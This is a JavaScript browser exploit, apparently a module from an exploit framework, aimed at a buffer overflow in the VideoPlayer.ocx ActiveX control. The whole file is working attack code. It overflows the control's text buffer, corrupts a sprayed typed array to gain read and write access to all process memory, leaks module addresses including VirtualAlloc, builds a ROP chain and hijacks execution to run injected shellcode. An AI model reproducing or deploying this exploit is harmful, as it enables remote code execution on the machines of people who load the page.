var Exploit = function () {
    // create its vulnerable ActiveX object (as HTMLObjectElement)
    this.obj = document.createElement("object");
    this.obj.setAttribute("classid", "clsid:4B3476C6-185A-4D19-BB09-718B565FA67B");
    // perform controlled memwrite to 0x1111f010: typed array header is at
    // 0x1111f000 to 0x1111f030 => overwrite array data header @ 11111f010 with
    // 0x00000001 0x00000004 0x00000040 0x1111f030 0x00
    // The first 3 dwords are sideeffects due to the code we abuse for the
    // controlled memcpy
    this.whereAddress = 0x1111f010;
    this.memory = null;
    this.addresses = new Object();
    this.sprayer = null;
    this.informer = null;
    this.sc = "<%=shellcode%>";
};

Exploit.prototype.run = function() {
    CollectGarbage();
    this.sprayer = new Sprayer();
    this.sprayer.spray();

    this.memory = this.doCorruption();

    //alert(this.memory.length.toString(16))
    if (this.memory.length != 0x7fffffff){
        //alert("Cannot change Uint32Array length");
        return -1;
    }

    // now we could even repair the change we did with memcpy ...

    this.informer = new Informer(this.sprayer.corruptedArrayNext, this.memory, this.whereAddress);
    var leakSuccess = this.leakAddresses();

    if (leakSuccess != 0) {
        //alert("Cannot leak required address to build the ROP chain");
        return leakSuccess;
    }

    var ropBuilder = new RopBuilder(this.informer, this.addresses, this.sc.length);
    ropBuilder.buildRop();

    // manipulate object data to gain EIP control with "Play" method
    var videopObj = this.memory[this.addresses['objAddress'] / 4 + 26];
    this.memory[(videopObj - 0x10) / 4] = ropBuilder.ropAddress; // rop address will be used in EAX in below call

    // eip control @ VideoPlayer.ocx + 0x6643B: CALL DWORD PTR [EAX+0x30] */
    this.obj.Play()
};

Exploit.prototype.prepareOverflow = function() {
    // prepare buffer with address we want to write to
    var ptrBuf = "";
    // fill buffer: length = relative pointer address - buffer start + pointer
    // offset
    while (ptrBuf.length < (0x92068 - 0x916a8 + 0xC)) { ptrBuf += "A" }
    ptrBuf += this.dword2str(this.whereAddress);

    return ptrBuf;
};

Exploit.prototype.doCorruption = function() {
    var ptrBuf = this.prepareOverflow();

    // trigger: overflow buffer and overwrite the pointer value after buffer
    this.obj.SetText(ptrBuf, 0, 0);
    //alert("buffer overflown => check PTR @ videop_1+92068: dc videop_1+92068")

    // use overwritten pointer after buffer with method "SetFontName" to conduct
    // memory write.  We overwrite a typed array's header length to 0x40 and let
    // its buffer point to the next typed array header at 0x1111f030 (see above)
    this.obj.SetFontName(this.dword2str(this.whereAddress + 0x20)); // WHAT TO WRITE


    if (this.sprayer.find() == -1){
        //alert("cannot find corrupted Uint32Array");
        return -1
    }

    // modify subsequent Uint32Array to be able to RW all process memory
    this.sprayer.corruptedArray[6] = 0x7fffffff; // next Uint32Array length
    this.sprayer.corruptedArray[7] = 0; // set buffer of next Uint32Array to start of process mem

    // our memory READWRITE interface :)
    return this.sprayer.fullMemory;
};

Exploit.prototype.leakAddresses = function() {
    this.addresses['objAddress'] = this.informer.leakVideoPlayerAddress(this.obj);

    this.addresses['base'] = this.informer.leakVideoPlayerBase(this.obj);

    // check if we have the image of VideoPlayer.ocx
    // check for MZ9000 header and "Vide" string at offset 0x6a000
    if (this.memory[this.addresses['base'] / 4] != 0x905a4d ||
        this.memory[(this.addresses['base'] + 0x6a000) / 4] != 0x65646956){
        //alert("Cannot find VideoPlayer.ocx base or its version is wrong");
        return -1;
    }
    //alert(this.addresses['base'].toString(16))

    // get VirtualAlloc from imports of VideoPlayer.ocx
    this.addresses['virtualAlloc'] = this.memory[(this.addresses['base'] + 0x69174)/4];
    // memcpy is available inside VideoPlayer.ocx
    this.addresses['memcpy'] = this.addresses['base'] + 0x15070;
    //alert("0x" + this.addresses['virtualAlloc'].toString(16) + " " + "0x" + this.addresses['memcpy'].toString(16))

    scBuf = new Uint8Array(this.sc.length);
    for (n=0; n < this.sc.length; n++){
        scBuf[n] = this.sc.charCodeAt(n);
    }

    this.addresses['shellcode'] = this.informer.leakShellcodeAddress(scBuf);

    return 0;
};

// dword to little endian string
Exploit.prototype.dword2str = function(dword) {
    var str = "";
    for (var n=0; n < 4; n++){
        str += String.fromCharCode((dword >> 8 * n) & 0xff);
    }
    return str;
};
